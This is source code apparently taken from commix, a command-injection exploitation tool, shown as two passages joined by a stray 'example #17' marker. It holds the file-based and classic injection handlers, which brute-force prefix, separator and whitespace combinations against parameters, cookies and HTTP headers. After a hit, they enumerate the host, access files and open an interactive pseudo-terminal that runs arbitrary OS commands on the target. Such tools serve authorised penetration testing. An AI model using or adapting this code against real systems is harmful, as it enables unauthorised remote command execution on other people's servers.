                                        exit_loops = True
                                        tmp_path = os.path.split(
                                            menu.options.file_dest)[0] + "/"
                                        tfb_controller(no_result, url, timesec,
                                                       filename, tmp_path,
                                                       http_request_method,
                                                       url_time_response)
                                        raise

                                    # Show an error message, after N failed tries.
                                    # Use the "/tmp/" directory for tempfile-based technique.
                                    elif i == int(menu.options.failed_tries
                                                  ) and no_result == True:
                                        tmp_path = check_tmp_path(
                                            url, timesec, filename,
                                            http_request_method,
                                            url_time_response)
                                        warn_msg = "It seems that you don't have permissions to "
                                        warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'."
                                        sys.stdout.write(
                                            "\r" + settings.print_warning_msg(
                                                warn_msg))
                                        print("")
                                        while True:
                                            if not menu.options.batch:
                                                question_msg = "Do you want to try the temporary directory (" + tmp_path + ") [Y/n] > "
                                                tmp_upload = _input(
                                                    settings.
                                                    print_question_msg(
                                                        question_msg))
                                            else:
                                                tmp_upload = ""
                                            if len(tmp_upload) == 0:
                                                tmp_upload = "y"
                                            if tmp_upload in settings.CHOICE_YES:
                                                exit_loops = True
                                                settings.TEMPFILE_BASED_STATE = True
                                                call_tfb = tfb_controller(
                                                    no_result, url, timesec,
                                                    filename, tmp_path,
                                                    http_request_method,
                                                    url_time_response)
                                                if call_tfb != False:
                                                    return True
                                                else:
                                                    if no_result == True:
                                                        return False
                                                    else:
                                                        return True
                                            elif tmp_upload in settings.CHOICE_NO:
                                                break
                                            elif tmp_upload in settings.CHOICE_QUIT:
                                                print("")
                                                raise
                                            else:
                                                err_msg = "'" + tmp_upload + "' is not a valid answer."
                                                print(
                                                    settings.print_error_msg(
                                                        err_msg))
                                                pass
                                        continue

                                    else:
                                        if exit_loops == False:
                                            if not settings.VERBOSITY_LEVEL >= 1:
                                                if str(float_percent
                                                       ) == "100.0":
                                                    if no_result == True:
                                                        percent = settings.FAIL_STATUS
                                                    else:
                                                        percent = ".. (" + str(
                                                            float_percent
                                                        ) + "%)"
                                                else:
                                                    percent = ".. (" + str(
                                                        float_percent) + "%)"

                                                info_msg = "Testing the " + "(" + injection_type.split(
                                                    " "
                                                )[0] + ") " + technique + "." + "" + percent + ""
                                                sys.stdout.write(
                                                    "\r" +
                                                    settings.print_info_msg(
                                                        info_msg))
                                                sys.stdout.flush()
                                                continue
                                            else:
                                                continue
                                        else:
                                            raise

                                elif str(e.getcode()
                                         ) == settings.UNAUTHORIZED_ERROR:
                                    err_msg = "Authorization required!"
                                    print(
                                        settings.print_critical_msg(err_msg) +
                                        "\n")
                                    raise SystemExit()

                                elif str(e.getcode()
                                         ) == settings.FORBIDDEN_ERROR:
                                    err_msg = "You don't have permission to access this page."
                                    print(
                                        settings.print_critical_msg(err_msg) +
                                        "\n")
                                    raise SystemExit()

                        except KeyboardInterrupt:
                            # Delete previous shell (text) files (output)
                            delete_previous_shell(separator, payload, TAG,
                                                  prefix, suffix, whitespace,
                                                  http_request_method, url,
                                                  vuln_parameter,
                                                  OUTPUT_TEXTFILE, alter_shell,
                                                  filename)
                            raise

                        except SystemExit:
                            if 'vuln_parameter' in locals():
                                # Delete previous shell (text) files (output)
                                delete_previous_shell(
                                    separator, payload, TAG, prefix, suffix,
                                    whitespace, http_request_method, url,
                                    vuln_parameter, OUTPUT_TEXTFILE,
                                    alter_shell, filename)
                            raise

                        except _urllib.error.URLError as e:
                            warn_msg = "It seems that you don't have permissions to "
                            warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'."
                            sys.stdout.write(
                                "\r" + settings.print_warning_msg(warn_msg))
                            err_msg = str(e).replace(": ", " (") + ")."
                            if menu.options.verbose > 1:
                                print("")
                            print(settings.print_critical_msg(err_msg))
                            # Provide custom server's root directory.
                            custom_web_root(url, timesec, filename,
                                            http_request_method,
                                            url_time_response)
                            continue

                        except:
                            raise

                    # Yaw, got shellz!
                    # Do some magic tricks!
                    if shell:
                        settings.FILE_BASED_STATE = True
                        found = True
                        no_result = False
                        # Check injection state
                        settings.DETECTION_PHASE = False
                        settings.EXPLOITATION_PHASE = True
                        if not settings.VERBOSITY_LEVEL >= 1 and \
                           not menu.options.alter_shell and \
                           not next_attack_vector:
                            next_attack_vector = True

                        if settings.COOKIE_INJECTION == True:
                            header_name = " cookie"
                            found_vuln_parameter = vuln_parameter
                            the_type = " parameter"

                        elif settings.USER_AGENT_INJECTION == True:
                            header_name = " User-Agent"
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        elif settings.REFERER_INJECTION == True:
                            header_name = " Referer"
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        elif settings.HOST_INJECTION == True:
                            header_name = "Host"
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        elif settings.CUSTOM_HEADER_INJECTION == True:
                            header_name = " " + settings.CUSTOM_HEADER_NAME
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        else:
                            header_name = ""
                            the_type = " parameter"
                            if http_request_method == "GET":
                                found_vuln_parameter = parameters.vuln_GET_param(
                                    url)
                            else:
                                found_vuln_parameter = vuln_parameter

                        if len(found_vuln_parameter) != 0:
                            found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"

                        # Print the findings to log file.
                        if export_injection_info == False:
                            export_injection_info = logs.add_type_and_technique(
                                export_injection_info, filename,
                                injection_type, technique)
                        if vp_flag == True:
                            vp_flag = logs.add_parameter(
                                vp_flag, filename, the_type, header_name,
                                http_request_method, vuln_parameter, payload)
                        logs.update_payload(filename, counter, payload)
                        counter = counter + 1

                        if not settings.LOAD_SESSION:
                            if not settings.VERBOSITY_LEVEL >= 1:
                                print("")
                            else:
                                checks.total_of_requests()

                        # Print the findings to terminal.
                        success_msg = "The"
                        if len(found_vuln_parameter
                               ) > 0 and not "cookie" in header_name:
                            success_msg += " " + http_request_method
                        success_msg += ('', ' (JSON)')[settings.IS_JSON] + (
                            '', ' (SOAP/XML)'
                        )[settings.IS_XML] + the_type + header_name
                        success_msg += found_vuln_parameter + " seems injectable via "
                        success_msg += "(" + injection_type.split(
                            " ")[0] + ") " + technique + "."
                        print(settings.print_success_msg(success_msg))
                        sub_content = str(checks.url_decode(payload))
                        print(settings.print_sub_content(sub_content))
                        # Export session
                        if not settings.LOAD_SESSION:
                            session_handler.injection_point_importation(
                                url,
                                technique,
                                injection_type,
                                separator,
                                shell[0],
                                vuln_parameter,
                                prefix,
                                suffix,
                                TAG,
                                alter_shell,
                                payload,
                                http_request_method,
                                url_time_response=0,
                                timesec=0,
                                how_long=0,
                                output_length=0,
                                is_vulnerable=menu.options.level)
                        else:
                            whitespace = settings.WHITESPACE[0]
                            settings.LOAD_SESSION = False

                        # Check for any enumeration options.
                        new_line = True
                        if settings.ENUMERATION_DONE == True:
                            while True:
                                if not menu.options.batch:
                                    question_msg = "Do you want to enumerate again? [Y/n] > "
                                    enumerate_again = _input(
                                        "\n" + settings.print_question_msg(
                                            question_msg)).lower()
                                else:
                                    enumerate_again = ""
                                if len(enumerate_again) == 0:
                                    enumerate_again = "y"
                                if enumerate_again in settings.CHOICE_YES:
                                    fb_enumeration.do_check(
                                        separator, payload, TAG, timesec,
                                        prefix, suffix, whitespace,
                                        http_request_method, url,
                                        vuln_parameter, OUTPUT_TEXTFILE,
                                        alter_shell, filename)
                                    # print("")
                                    break
                                elif enumerate_again in settings.CHOICE_NO:
                                    new_line = False
                                    break
                                elif file_access_again in settings.CHOICE_QUIT:
                                    # Delete previous shell (text) files (output)
                                    delete_previous_shell(
                                        separator, payload, TAG, prefix,
                                        suffix, whitespace,
                                        http_request_method, url,
                                        vuln_parameter, OUTPUT_TEXTFILE,
                                        alter_shell, filename)
                                    raise SystemExit()
                                else:
                                    err_msg = "'" + enumerate_again + "' is not a valid answer."
                                    print(settings.print_error_msg(err_msg))
                                    pass
                        else:
                            if menu.enumeration_options():
                                fb_enumeration.do_check(
                                    separator, payload, TAG, timesec, prefix,
                                    suffix, whitespace, http_request_method,
                                    url, vuln_parameter, OUTPUT_TEXTFILE,
                                    alter_shell, filename)

                        if not menu.file_access_options(
                        ) and not menu.options.os_cmd:
                            if not settings.VERBOSITY_LEVEL >= 1 and new_line:
                                print("")

                        # Check for any system file access options.
                        if settings.FILE_ACCESS_DONE == True:
                            if settings.ENUMERATION_DONE != True:
                                print("")
                            while True:
                                if not menu.options.batch:
                                    question_msg = "Do you want to access files again? [Y/n] > "
                                    file_access_again = _input(
                                        settings.print_question_msg(
                                            question_msg))
                                else:
                                    file_access_again = ""
                                if len(file_access_again) == 0:
                                    file_access_again = "y"
                                if file_access_again in settings.CHOICE_YES:
                                    fb_file_access.do_check(
                                        separator, payload, TAG, timesec,
                                        prefix, suffix, whitespace,
                                        http_request_method, url,
                                        vuln_parameter, OUTPUT_TEXTFILE,
                                        alter_shell, filename)
                                    print("")
                                    break
                                elif file_access_again in settings.CHOICE_NO:
                                    break
                                elif file_access_again in settings.CHOICE_QUIT:
                                    # Delete previous shell (text) files (output)
                                    delete_previous_shell(
                                        separator, payload, TAG, prefix,
                                        suffix, whitespace,
                                        http_request_method, url,
                                        vuln_parameter, OUTPUT_TEXTFILE,
                                        alter_shell, filename)
                                    raise SystemExit()
                                else:
                                    err_msg = "'" + enumerate_again + "' is not a valid answer."
                                    print(settings.print_error_msg(err_msg))
                                    pass
                        else:
                            if menu.file_access_options():
                                # if not menu.enumeration_options():
                                #   print("")
                                fb_file_access.do_check(
                                    separator, payload, TAG, timesec, prefix,
                                    suffix, whitespace, http_request_method,
                                    url, vuln_parameter, OUTPUT_TEXTFILE,
                                    alter_shell, filename)
                                print("")

                        # Check if defined single cmd.
                        if menu.options.os_cmd:
                            # if not menu.file_access_options():
                            #   print("")
                            fb_enumeration.single_os_cmd_exec(
                                separator, payload, TAG, timesec, prefix,
                                suffix, whitespace, http_request_method, url,
                                vuln_parameter, OUTPUT_TEXTFILE, alter_shell,
                                filename)
                            # Delete previous shell (text) files (output)
                            delete_previous_shell(separator, payload, TAG,
                                                  prefix, suffix, whitespace,
                                                  http_request_method, url,
                                                  vuln_parameter,
                                                  OUTPUT_TEXTFILE, alter_shell,
                                                  filename)
                            raise SystemExit()

                        try:
                            # Pseudo-Terminal shell
                            go_back = False
                            go_back_again = False
                            while True:
                                # Delete previous shell (text) files (output)
                                # if settings.VERBOSITY_LEVEL >= 1:
                                #   print("")
                                delete_previous_shell(
                                    separator, payload, TAG, prefix, suffix,
                                    whitespace, http_request_method, url,
                                    vuln_parameter, OUTPUT_TEXTFILE,
                                    alter_shell, filename)
                                if settings.VERBOSITY_LEVEL >= 1:
                                    print("")
                                if go_back == True:
                                    break
                                if not menu.options.batch:
                                    question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
                                    gotshell = _input(
                                        settings.print_question_msg(
                                            question_msg))
                                else:
                                    gotshell = ""
                                if len(gotshell) == 0:
                                    gotshell = "y"
                                if gotshell in settings.CHOICE_YES:
                                    if not menu.options.batch:
                                        print("")
                                    print("Pseudo-Terminal (type '" +
                                          Style.BRIGHT + "?" +
                                          Style.RESET_ALL +
                                          "' for available options)")
                                    if readline_error:
                                        checks.no_readline_module()
                                    while True:
                                        # Tab compliter
                                        if not readline_error:
                                            readline.set_completer(
                                                menu.tab_completer)
                                            # MacOSX tab compliter
                                            if getattr(
                                                    readline, '__doc__', ''
                                            ) is not None and 'libedit' in getattr(
                                                    readline, '__doc__', ''):
                                                readline.parse_and_bind(
                                                    "bind ^I rl_complete")
                                            # Unix tab compliter
                                            else:
                                                readline.parse_and_bind(
                                                    "tab: complete")
                                        cmd = _input("""commix(""" +
                                                     Style.BRIGHT + Fore.RED +
                                                     """os_shell""" +
                                                     Style.RESET_ALL +
                                                     """) > """)
                                        cmd = checks.escaped_cmd(cmd)
                                        # if settings.VERBOSITY_LEVEL >= 1:
                                        #   print("")
                                        if cmd.lower(
                                        ) in settings.SHELL_OPTIONS:
                                            go_back, go_back_again = shell_options.check_option(
                                                separator, TAG, cmd, prefix,
                                                suffix, whitespace,
                                                http_request_method, url,
                                                vuln_parameter, alter_shell,
                                                filename, technique, go_back,
                                                no_result, timesec,
                                                go_back_again, payload,
                                                OUTPUT_TEXTFILE)
                                            if go_back and go_back_again == False:
                                                break
                                            if go_back and go_back_again:
                                                return True
                                        else:
                                            time.sleep(timesec)
                                            response = fb_injector.injection(
                                                separator, payload, TAG, cmd,
                                                prefix, suffix, whitespace,
                                                http_request_method, url,
                                                vuln_parameter,
                                                OUTPUT_TEXTFILE, alter_shell,
                                                filename)
                                            if menu.options.ignore_session or \
                                               session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
                                                # Command execution results.
                                                shell = fb_injector.injection_results(
                                                    url, OUTPUT_TEXTFILE,
                                                    timesec)
                                                shell = "".join(
                                                    str(p) for p in shell)
                                                if not menu.options.ignore_session:
                                                    session_handler.store_cmd(
                                                        url, cmd, shell,
                                                        vuln_parameter)
                                            else:
                                                shell = session_handler.export_stored_cmd(
                                                    url, cmd, vuln_parameter)
                                            if shell:
                                                if shell != "":
                                                    # Update logs with executed cmds and execution results.
                                                    logs.executed_command(
                                                        filename, cmd, shell)
                                                    print("\n" + Fore.GREEN +
                                                          Style.BRIGHT +
                                                          shell +
                                                          Style.RESET_ALL +
                                                          "\n")

                                            if not shell or shell == "":
                                                if settings.VERBOSITY_LEVEL >= 1:
                                                    print("")
                                                err_msg = "The '" + cmd + "' command, does not return any output."
                                                print(
                                                    settings.
                                                    print_critical_msg(
                                                        err_msg) + "\n")

                                elif gotshell in settings.CHOICE_NO:
                                    if checks.next_attack_vector(
                                            technique, go_back) == True:
                                        break
                                    else:
                                        if no_result == True:
                                            return False
                                        else:
                                            return True

                                elif gotshell in settings.CHOICE_QUIT:
                                    # Delete previous shell (text) files (output)
                                    delete_previous_shell(
                                        separator, payload, TAG, prefix,
                                        suffix, whitespace,
                                        http_request_method, url,
                                        vuln_parameter, OUTPUT_TEXTFILE,
                                        alter_shell, filename)
                                    raise SystemExit()
                                else:
                                    err_msg = "'" + gotshell + "' is not a valid answer."
                                    print(settings.print_error_msg(err_msg))
                                    pass

                        except KeyboardInterrupt:
                            # if settings.VERBOSITY_LEVEL >= 1:
                            print("")
                            # Delete previous shell (text) files (output)
                            delete_previous_shell(separator, payload, TAG,
                                                  prefix, suffix, whitespace,
                                                  http_request_method, url,
                                                  vuln_parameter,
                                                  OUTPUT_TEXTFILE, alter_shell,
                                                  filename)
                            raise

    if no_result == True:
        if settings.VERBOSITY_LEVEL == 0:
            print("")
        return False
    else:
        sys.stdout.write("\r")
        sys.stdout.flush()
示例#17
0
def cb_injection_handler(url, timesec, filename, http_request_method,
                         injection_type, technique):
    shell = False
    counter = 1
    vp_flag = True
    no_result = True
    is_encoded = False
    export_injection_info = False

    if not settings.LOAD_SESSION:
        info_msg = "Testing the " + "(" + injection_type.split(
            " ")[0] + ") " + technique + ". "
        sys.stdout.write(settings.print_info_msg(info_msg))
        sys.stdout.flush()
        if settings.VERBOSITY_LEVEL != 0:
            print(settings.SINGLE_WHITESPACE)

    i = 0
    # Calculate all possible combinations
    total = len(settings.WHITESPACES) * len(settings.PREFIXES) * len(
        settings.SEPARATORS) * len(settings.SUFFIXES)
    for whitespace in settings.WHITESPACES:
        for prefix in settings.PREFIXES:
            for suffix in settings.SUFFIXES:
                for separator in settings.SEPARATORS:
                    if whitespace == " ":
                        whitespace = _urllib.parse.quote(whitespace)
                    # Check injection state
                    settings.DETECTION_PHASE = True
                    settings.EXPLOITATION_PHASE = False
                    # If a previous session is available.
                    if settings.LOAD_SESSION and session_handler.notification(
                            url, technique, injection_type):
                        try:
                            settings.CLASSIC_STATE = True
                            url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(
                                url, http_request_method)
                            checks.check_for_stored_tamper(payload)
                        except TypeError:
                            err_msg = "An error occurred while accessing session file ('"
                            err_msg += settings.SESSION_FILE + "'). "
                            err_msg += "Use the '--flush-session' option."
                            print(settings.print_critical_msg(err_msg))
                            raise SystemExit()

                    else:
                        i = i + 1
                        # Check for bad combination of prefix and separator
                        combination = prefix + separator
                        if combination in settings.JUNK_COMBINATION:
                            prefix = ""

                        # Change TAG on every request to prevent false-positive results.
                        TAG = ''.join(
                            random.choice(string.ascii_uppercase)
                            for i in range(6))

                        randv1 = random.randrange(100)
                        randv2 = random.randrange(100)
                        randvcalc = randv1 + randv2

                        # Define alter shell
                        alter_shell = menu.options.alter_shell

                        try:
                            if alter_shell:
                                # Classic -alter shell- decision payload (check if host is vulnerable).
                                payload = cb_payloads.decision_alter_shell(
                                    separator, TAG, randv1, randv2)
                            else:
                                # Classic decision payload (check if host is vulnerable).
                                payload = cb_payloads.decision(
                                    separator, TAG, randv1, randv2)

                            # Define prefixes & suffixes
                            payload = parameters.prefixes(payload, prefix)
                            payload = parameters.suffixes(payload, suffix)

                            # Whitespace fixation
                            payload = payload.replace(
                                settings.SINGLE_WHITESPACE, whitespace)

                            # Perform payload modification
                            payload = checks.perform_payload_modification(
                                payload)

                            # Check if defined "--verbose" option.
                            if settings.VERBOSITY_LEVEL == 1:
                                print(settings.print_payload(payload))
                            elif settings.VERBOSITY_LEVEL >= 2:
                                debug_msg = "Generating payload for the injection."
                                print(settings.print_debug_msg(debug_msg))
                                print(settings.print_payload(payload))

                            # Cookie header injection
                            if settings.COOKIE_INJECTION == True:
                                # Check if target host is vulnerable to cookie header injection.
                                vuln_parameter = parameters.specify_cookie_parameter(
                                    menu.options.cookie)
                                response = cb_injector.cookie_injection_test(
                                    url, vuln_parameter, payload)

                            # User-Agent HTTP header injection
                            elif settings.USER_AGENT_INJECTION == True:
                                # Check if target host is vulnerable to user-agent HTTP header injection.
                                vuln_parameter = parameters.specify_user_agent_parameter(
                                    menu.options.agent)
                                response = cb_injector.user_agent_injection_test(
                                    url, vuln_parameter, payload)

                            # Referer HTTP header injection
                            elif settings.REFERER_INJECTION == True:
                                # Check if target host is vulnerable to referer HTTP header injection.
                                vuln_parameter = parameters.specify_referer_parameter(
                                    menu.options.referer)
                                response = cb_injector.referer_injection_test(
                                    url, vuln_parameter, payload)

                            # Host HTTP header injection
                            elif settings.HOST_INJECTION == True:
                                # Check if target host is vulnerable to host HTTP header injection.
                                vuln_parameter = parameters.specify_host_parameter(
                                    menu.options.host)
                                response = cb_injector.host_injection_test(
                                    url, vuln_parameter, payload)

                            # Custom HTTP header Injection
                            elif settings.CUSTOM_HEADER_INJECTION == True:
                                # Check if target host is vulnerable to custom http header injection.
                                vuln_parameter = parameters.specify_custom_header_parameter(
                                    settings.INJECT_TAG)
                                response = cb_injector.custom_header_injection_test(
                                    url, vuln_parameter, payload)

                            else:
                                # Check if target host is vulnerable.
                                response, vuln_parameter = cb_injector.injection_test(
                                    payload, http_request_method, url)

                            # Try target page reload (if it is required).
                            if settings.URL_RELOAD:
                                response = requests.url_reload(url, timesec)

                            # Evaluate test results.
                            time.sleep(timesec)
                            shell = cb_injector.injection_test_results(
                                response, TAG, randvcalc)

                            if settings.VERBOSITY_LEVEL == 0:
                                percent = ((i * 100) / total)
                                float_percent = "{0:.1f}".format(
                                    round(((i * 100) / (total * 1.0)), 2))

                                if shell == False:
                                    info_msg = "Testing the " + "(" + injection_type.split(
                                        " "
                                    )[0] + ") " + technique + "." + " (" + str(
                                        float_percent) + "%)"
                                    sys.stdout.write(
                                        "\r" +
                                        settings.print_info_msg(info_msg))
                                    sys.stdout.flush()

                                if float(float_percent) >= 99.9:
                                    if no_result == True:
                                        percent = settings.FAIL_STATUS
                                    else:
                                        percent = ".. (" + str(
                                            float_percent) + "%)"
                                elif len(shell) != 0:
                                    percent = settings.info_msg
                                else:
                                    percent = ".. (" + str(
                                        float_percent) + "%)"
                                info_msg = "Testing the " + "(" + injection_type.split(
                                    " "
                                )[0] + ") " + technique + "." + "" + percent + ""
                                sys.stdout.write(
                                    "\r" + settings.print_info_msg(info_msg))
                                sys.stdout.flush()

                        except KeyboardInterrupt:
                            raise

                        except SystemExit:
                            raise

                        except EOFError:
                            err_msg = "Exiting, due to EOFError."
                            print(settings.print_error_msg(err_msg))
                            raise

                        except:
                            continue

                    # Yaw, got shellz!
                    # Do some magic tricks!
                    if shell:
                        found = True
                        no_result = False
                        # Check injection state
                        settings.DETECTION_PHASE = False
                        settings.EXPLOITATION_PHASE = True
                        if settings.COOKIE_INJECTION == True:
                            header_name = " cookie"
                            found_vuln_parameter = vuln_parameter
                            the_type = " parameter"

                        elif settings.USER_AGENT_INJECTION == True:
                            header_name = " User-Agent"
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        elif settings.REFERER_INJECTION == True:
                            header_name = " Referer"
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        elif settings.HOST_INJECTION == True:
                            header_name = " Host"
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        elif settings.CUSTOM_HEADER_INJECTION == True:
                            header_name = " " + settings.CUSTOM_HEADER_NAME
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        else:
                            header_name = ""
                            the_type = " parameter"
                            # Check if defined POST data
                            if not settings.USER_DEFINED_POST_DATA:
                                found_vuln_parameter = parameters.vuln_GET_param(
                                    url)
                            else:
                                found_vuln_parameter = vuln_parameter

                        if len(found_vuln_parameter) != 0:
                            found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"

                        # Print the findings to log file.
                        if export_injection_info == False:
                            export_injection_info = logs.add_type_and_technique(
                                export_injection_info, filename,
                                injection_type, technique)
                        if vp_flag == True:
                            vp_flag = logs.add_parameter(
                                vp_flag, filename, the_type, header_name,
                                http_request_method, vuln_parameter, payload)
                        logs.update_payload(filename, counter, payload)
                        counter = counter + 1

                        if not settings.LOAD_SESSION:
                            if settings.VERBOSITY_LEVEL == 0:
                                print(settings.SINGLE_WHITESPACE)
                            else:
                                checks.total_of_requests()

                        # Print the findings to terminal.
                        info_msg = "The"
                        if len(found_vuln_parameter
                               ) > 0 and not "cookie" in header_name:
                            info_msg += " " + http_request_method + ""
                        info_msg += ('', ' (JSON)')[settings.IS_JSON] + (
                            '', ' (SOAP/XML)'
                        )[settings.IS_XML] + the_type + header_name
                        info_msg += found_vuln_parameter + " seems injectable via "
                        info_msg += "(" + injection_type.split(
                            " ")[0] + ") " + technique + "."
                        print(settings.print_bold_info_msg(info_msg))
                        sub_content = str(checks.url_decode(payload))
                        print(settings.print_sub_content(sub_content))
                        # Export session
                        if not settings.LOAD_SESSION:
                            session_handler.injection_point_importation(
                                url,
                                technique,
                                injection_type,
                                separator,
                                shell[0],
                                vuln_parameter,
                                prefix,
                                suffix,
                                TAG,
                                alter_shell,
                                payload,
                                http_request_method,
                                url_time_response=0,
                                timesec=0,
                                how_long=0,
                                output_length=0,
                                is_vulnerable=menu.options.level)
                        else:
                            whitespace = settings.WHITESPACES[0]
                            settings.LOAD_SESSION = False

                        # Check for any enumeration options.
                        new_line = True
                        if settings.ENUMERATION_DONE == True:
                            while True:
                                if not menu.options.batch:
                                    question_msg = "Do you want to enumerate again? [Y/n] > "
                                    enumerate_again = _input(
                                        "\n" + settings.print_question_msg(
                                            question_msg)).lower()
                                else:
                                    enumerate_again = ""
                                if len(enumerate_again) == 0:
                                    enumerate_again = "Y"
                                if enumerate_again in settings.CHOICE_YES:
                                    cb_enumeration.do_check(
                                        separator, TAG, prefix, suffix,
                                        whitespace, http_request_method, url,
                                        vuln_parameter, alter_shell, filename,
                                        timesec)
                                    #print(settings.SINGLE_WHITESPACE)
                                    break
                                elif enumerate_again in settings.CHOICE_NO:
                                    new_line = False
                                    break
                                elif enumerate_again in settings.CHOICE_QUIT:
                                    raise SystemExit()
                                else:
                                    err_msg = "'" + enumerate_again + "' is not a valid answer."
                                    print(settings.print_error_msg(err_msg))
                                    pass
                        else:
                            if menu.enumeration_options():
                                cb_enumeration.do_check(
                                    separator, TAG, prefix, suffix, whitespace,
                                    http_request_method, url, vuln_parameter,
                                    alter_shell, filename, timesec)

                        if not menu.file_access_options(
                        ) and not menu.options.os_cmd and new_line:
                            print(settings.SINGLE_WHITESPACE)

                        # Check for any system file access options.
                        if settings.FILE_ACCESS_DONE == True:
                            if settings.ENUMERATION_DONE != True:
                                print(settings.SINGLE_WHITESPACE)
                            while True:
                                if not menu.options.batch:
                                    question_msg = "Do you want to access files again? [Y/n] > "
                                    file_access_again = _input(
                                        settings.print_question_msg(
                                            question_msg))
                                else:
                                    file_access_again = ""
                                if len(file_access_again) == 0:
                                    file_access_again = "Y"
                                if file_access_again in settings.CHOICE_YES:
                                    cb_file_access.do_check(
                                        separator, TAG, prefix, suffix,
                                        whitespace, http_request_method, url,
                                        vuln_parameter, alter_shell, filename,
                                        timesec)
                                    print(settings.SINGLE_WHITESPACE)
                                    break
                                elif file_access_again in settings.CHOICE_NO:
                                    break
                                elif file_access_again in settings.CHOICE_QUIT:
                                    raise SystemExit()
                                else:
                                    err_msg = "'" + file_access_again + "' is not a valid answer."
                                    print(settings.print_error_msg(err_msg))
                                    pass
                        else:
                            if menu.file_access_options():
                                # if not menu.enumeration_options():
                                #   print(settings.SINGLE_WHITESPACE)
                                cb_file_access.do_check(
                                    separator, TAG, prefix, suffix, whitespace,
                                    http_request_method, url, vuln_parameter,
                                    alter_shell, filename, timesec)
                                print(settings.SINGLE_WHITESPACE)

                        # Check if defined single cmd.
                        if menu.options.os_cmd:
                            # if not menu.file_access_options():
                            #   print(settings.SINGLE_WHITESPACE)
                            cb_enumeration.single_os_cmd_exec(
                                separator, TAG, prefix, suffix, whitespace,
                                http_request_method, url, vuln_parameter,
                                alter_shell, filename, timesec)

                        # Pseudo-Terminal shell
                        go_back = False
                        go_back_again = False
                        while True:
                            if go_back == True:
                                break
                            if not menu.options.batch:
                                question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
                                gotshell = _input(
                                    settings.print_question_msg(question_msg))
                            else:
                                gotshell = ""
                            if len(gotshell) == 0:
                                gotshell = "Y"
                            if gotshell in settings.CHOICE_YES:
                                # if not menu.options.batch:
                                #   print(settings.SINGLE_WHITESPACE)
                                print("Pseudo-Terminal (type '" +
                                      Style.BRIGHT + "?" + Style.RESET_ALL +
                                      "' for available options)")
                                if settings.READLINE_ERROR:
                                    checks.no_readline_module()
                                while True:
                                    try:
                                        if not settings.READLINE_ERROR:
                                            checks.tab_autocompleter()
                                        sys.stdout.write(settings.OS_SHELL)
                                        cmd = _input()
                                        cmd = checks.escaped_cmd(cmd)
                                        if cmd.lower(
                                        ) in settings.SHELL_OPTIONS:
                                            go_back, go_back_again = shell_options.check_option(
                                                separator,
                                                TAG,
                                                cmd,
                                                prefix,
                                                suffix,
                                                whitespace,
                                                http_request_method,
                                                url,
                                                vuln_parameter,
                                                alter_shell,
                                                filename,
                                                technique,
                                                go_back,
                                                no_result,
                                                timesec,
                                                go_back_again,
                                                payload,
                                                OUTPUT_TEXTFILE="")
                                            if go_back and go_back_again == False:
                                                break
                                            if go_back and go_back_again:
                                                return True
                                        else:
                                            # Command execution results.
                                            time.sleep(timesec)
                                            response = cb_injector.injection(
                                                separator, TAG, cmd, prefix,
                                                suffix, whitespace,
                                                http_request_method, url,
                                                vuln_parameter, alter_shell,
                                                filename)
                                            # Try target page reload (if it is required).
                                            if settings.URL_RELOAD:
                                                response = requests.url_reload(
                                                    url, timesec)
                                            if menu.options.ignore_session or \
                                               session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
                                                # Evaluate injection results.
                                                try:
                                                    shell = cb_injector.injection_results(
                                                        response, TAG, cmd)
                                                    shell = "".join(
                                                        str(p) for p in shell)
                                                except:
                                                    print(settings.
                                                          SINGLE_WHITESPACE)
                                                    continue
                                                if not menu.options.ignore_session:
                                                    session_handler.store_cmd(
                                                        url, cmd, shell,
                                                        vuln_parameter)
                                            else:
                                                shell = session_handler.export_stored_cmd(
                                                    url, cmd, vuln_parameter)
                                            if shell:
                                                shell = unescape(shell)
                                                # Update logs with executed cmds and execution results.
                                                logs.executed_command(
                                                    filename, cmd, shell)
                                            if shell != "":
                                                print("\n" + Fore.GREEN +
                                                      Style.BRIGHT + shell +
                                                      Style.RESET_ALL + "\n")
                                            else:
                                                if settings.VERBOSITY_LEVEL != 0:
                                                    print(settings.
                                                          SINGLE_WHITESPACE)
                                                err_msg = "The '" + cmd + "' command, does not return any output."
                                                print(
                                                    settings.
                                                    print_critical_msg(
                                                        err_msg) + "\n")

                                    except KeyboardInterrupt:
                                        raise

                                    except SystemExit:
                                        raise

                                    except EOFError:
                                        err_msg = "Exiting, due to EOFError."
                                        print(
                                            settings.print_error_msg(err_msg))
                                        raise

                            elif gotshell in settings.CHOICE_NO:
                                if checks.next_attack_vector(
                                        technique, go_back) == True:
                                    break
                                else:
                                    if no_result == True:
                                        return False
                                    else:
                                        return True

                            elif gotshell in settings.CHOICE_QUIT:
                                raise SystemExit()

                            else:
                                err_msg = "'" + gotshell + "' is not a valid answer."
                                print(settings.print_error_msg(err_msg))
                                pass

    if no_result == True:
        if settings.VERBOSITY_LEVEL == 0:
            print(settings.SINGLE_WHITESPACE)
        return False
    else:
        sys.stdout.write("\r")
        sys.stdout.flush()